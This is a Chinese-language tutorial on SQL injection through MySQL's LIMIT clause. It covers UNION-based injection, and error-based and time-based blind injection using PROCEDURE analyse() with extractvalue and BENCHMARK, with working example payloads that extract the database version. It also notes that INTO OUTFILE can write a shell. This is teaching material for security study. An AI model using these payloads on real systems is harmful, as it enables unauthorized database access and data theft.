前言

使用查询语句的时候,经常要使用limit返回前几条或者中间某几行数据 LIMIT[位置偏移量,]行数 其中中括号里面的参数是可选参数,位置偏移量是指Mysql查询分析器要从哪一行开始显示,索引值从0开始,即第一条记录位置偏移量是0,第二条记录的位置偏移量是1,依次类推…,第二个参数为”行数” 即指示返回的记录条数

image.png

MySQL 5中的SELECT语法

  1. SELECT
  2. [ALL | DISTINCT | DISTINCTROW ]
  3. [HIGH_PRIORITY]
  4. [STRAIGHT_JOIN]
  5. [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
  6. [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
  7. select_expr [, select_expr ...]
  8. [FROM table_references
  9. [WHERE where_condition]
  10. [GROUP BY {col_name | expr | position}
  11. [ASC | DESC], ... [WITH ROLLUP]]
  12. [HAVING where_condition]
  13. [ORDER BY {col_name | expr | position}
  14. [ASC | DESC], ...]
  15. [LIMIT {[offset,] row_count | row_count OFFSET offset}]
  16. [PROCEDURE procedure_name(argument_list)]
  17. [INTO OUTFILE 'file_name' export_options
  18. | INTO DUMPFILE 'file_name'
  19. | INTO var_name [, var_name]]
  20. [FOR UPDATE | LOCK IN SHARE MODE]]


例子

select*from limittest limit 1,[可控点] or select … limit [可控点]
limit后面能够拼接的函数只有into和procedure,into可以用来写文件
在Limit后面 可以用 procedure analyse()这个子查询
而且只能用extractvalue 和 benchmark 函数进行延时
procedure analyse(extractvalue(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)
image.png

limit注入的两个场景

存在 order by与否

不存在order by关键字

  1. select id from users limit 0,1

这种情况下limit后面
这种情况下的 limit 后面可以使用union进行联合查询注入

  1. select id from users limit 0,1 union select name from users;

image.png

存在order by关键字

此时后面再次使用union将会报错
image.png

limit 关键字后面还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难

使用 PROCEDURE函数进行注入

  • 如果报错回显,可以进行报错注入

image.png

  • 无回显可进行延迟注入
    1. select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1);